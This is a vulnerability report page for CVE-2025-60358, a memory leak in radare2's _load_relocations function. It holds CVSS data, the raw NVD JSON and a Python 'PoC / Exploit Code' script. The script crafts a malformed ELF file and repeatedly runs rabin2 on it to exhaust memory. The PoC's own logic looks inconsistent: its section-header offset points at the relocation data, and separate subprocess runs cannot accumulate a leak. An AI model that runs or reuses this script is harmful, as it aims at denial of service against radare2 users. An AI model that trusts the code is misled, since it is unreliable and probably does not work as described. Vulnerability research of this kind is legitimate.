Security Vulnerability Report
中文
CVE-2025-60358 CVSS 5.5 MEDIUM

CVE-2025-60358

Published: 2025-10-16 20:15:34
Last Modified: 2025-10-23 12:31:42

Description

radare2 v.5.9.8 and before contains a memory leak in the function _load_relocations.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:radare:radare2:*:*:*:*:*:*:*:* - VULNERABLE
radare2 <= 5.9.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-60358 PoC - radare2 _load_relocations Memory Leak # This PoC creates a malformed ELF binary with crafted relocation sections # to trigger memory leak in radare2's _load_relocations function import struct import subprocess import os import sys def create_malformed_elf(filename): """Create a malformed ELF binary with corrupted relocation sections""" # ELF Header (64-bit, little-endian) elf_header = bytearray() elf_header += b'\x7fELF' # e_ident[EI_MAG] - ELF magic elf_header += b'\x02' # e_ident[EI_CLASS] - 64-bit elf_header += b'\x01' # e_ident[EI_DATA] - Little endian elf_header += b'\x01' # e_ident[EI_VERSION] - Current version elf_header += b'\x00' # e_ident[EI_OSABI] - System V elf_header += b'\x00' * 8 # e_ident[EI_ABIVERSION] + padding elf_header += struct.pack('<H', 2) # e_type - ET_EXEC elf_header += struct.pack('<H', 62) # e_machine - EM_X86_64 elf_header += struct.pack('<I', 1) # e_version elf_header += struct.pack('<Q', 0x400000) # e_entry elf_header += struct.pack('<Q', 64) # e_phoff - program header offset elf_header += struct.pack('<Q', 200) # e_shoff - section header offset (malformed) elf_header += struct.pack('<I', 0) # e_flags elf_header += struct.pack('<H', 64) # e_ehsize elf_header += struct.pack('<H', 56) # e_phentsize elf_header += struct.pack('<H', 1) # e_phnum elf_header += struct.pack('<H', 64) # e_shentsize elf_header += struct.pack('<H', 5) # e_shnum - 5 section headers elf_header += struct.pack('<H', 4) # e_shstrndx # Program Header phdr = bytearray() phdr += struct.pack('<I', 1) # p_type - PT_LOAD phdr += struct.pack('<I', 5) # p_flags - PF_R|PF_X phdr += struct.pack('<Q', 0) # p_offset phdr += struct.pack('<Q', 0x400000) # p_vaddr phdr += struct.pack('<Q', 0x400000) # p_paddr phdr += struct.pack('<Q', 500) # p_filesz phdr += struct.pack('<Q', 500) # p_memsz phdr += struct.pack('<Q', 0x1000) # p_align # Section Headers - Include malformed .rela.dyn section # Null section header sh_null = bytearray(64) # .text section sh_text = bytearray() sh_text += struct.pack('<I', 0) # sh_name sh_text += struct.pack('<I', 1) # sh_type - SHT_PROGBITS sh_text += struct.pack('<Q', 6) # sh_flags - SHF_ALLOC|SHF_EXECINSTR sh_text += struct.pack('<Q', 0) # sh_addr sh_text += struct.pack('<Q', 0) # sh_offset sh_text += struct.pack('<Q', 100) # sh_size sh_text += struct.pack('<I', 0) # sh_link sh_text += struct.pack('<I', 0) # sh_info sh_text += struct.pack('<Q', 16) # sh_addralign sh_text += struct.pack('<Q', 0) # sh_entsize # .rela.dyn section (malformed relocation section) sh_rela = bytearray() sh_rela += struct.pack('<I', 0) # sh_name sh_rela += struct.pack('<I', 4) # sh_type - SHT_RELA sh_rela += struct.pack('<Q', 2) # sh_flags - SHF_ALLOC sh_rela += struct.pack('<Q', 200) # sh_addr sh_rela += struct.pack('<Q', 200) # sh_offset - pointing to malformed data sh_rela += struct.pack('<Q', 0xFFFF) # sh_size - intentionally large to cause leak sh_rela += struct.pack('<I', 0) # sh_link sh_rela += struct.pack('<I', 0) # sh_info sh_rela += struct.pack('<Q', 24) # sh_addralign sh_rela += struct.pack('<Q', 24) # sh_entsize # .shstrtab section sh_shstrtab = bytearray(64) # .dynsym section sh_dynsym = bytearray(64) # Write malformed relocation data reloc_data = bytearray() # Create invalid relocation entries to trigger error path in _load_relocations for i in range(100): reloc_data += struct.pack('<Q', 0xDEADBEEF) # r_offset - invalid reloc_data += struct.pack('<Q', 0xFFFFFFFF) # r_info - invalid type reloc_data += struct.pack('<q', -1) # r_addend - invalid with open(filename, 'wb') as f: f.write(elf_header) f.write(phdr) f.write(b'\x00' * (200 - len(elf_header) - len(phdr))) # padding f.write(reloc_data) f.write(sh_null) f.write(sh_text) f.write(sh_rela) f.write(sh_shstrtab) f.write(sh_dynsym) def trigger_memory_leak(target_file, iterations=1000): """Repeatedly load the malformed file to trigger memory leak""" print(f"[*] Triggering memory leak with {iterations} iterations...") for i in range(iterations): try: # Use rabin2 to load and analyze the binary subprocess.run( ['rabin2', '-R', target_file], capture_output=True, timeout=5 ) if i % 100 == 0: print(f"[*] Iteration {i}/{iterations}") except subprocess.TimeoutExpired: pass except FileNotFoundError: print("[!] radare2/rabin2 not found. Please install radare2.") sys.exit(1) if __name__ == '__main__': target = 'malformed_reloc.bin' print("[*] Creating malformed ELF binary...") create_malformed_elf(target) print(f"[*] Malformed binary saved as {target}") print("[*] Starting memory leak exploitation...") trigger_memory_leak(target) print("[*] Done. Check system memory usage.") os.remove(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60358", "sourceIdentifier": "[email protected]", "published": "2025-10-16T20:15:33.997", "lastModified": "2025-10-23T12:31:42.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "radare2 v.5.9.8 and before contains a memory leak in the function _load_relocations."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:radare:radare2:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.9.8", "matchCriteriaId": "DD7ED9A8-17F8-4FD1-8D7F-EBBB728A07CD"}]}]}], "references": [{"url": "https://github.com/radareorg/radare2/pull/24224", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}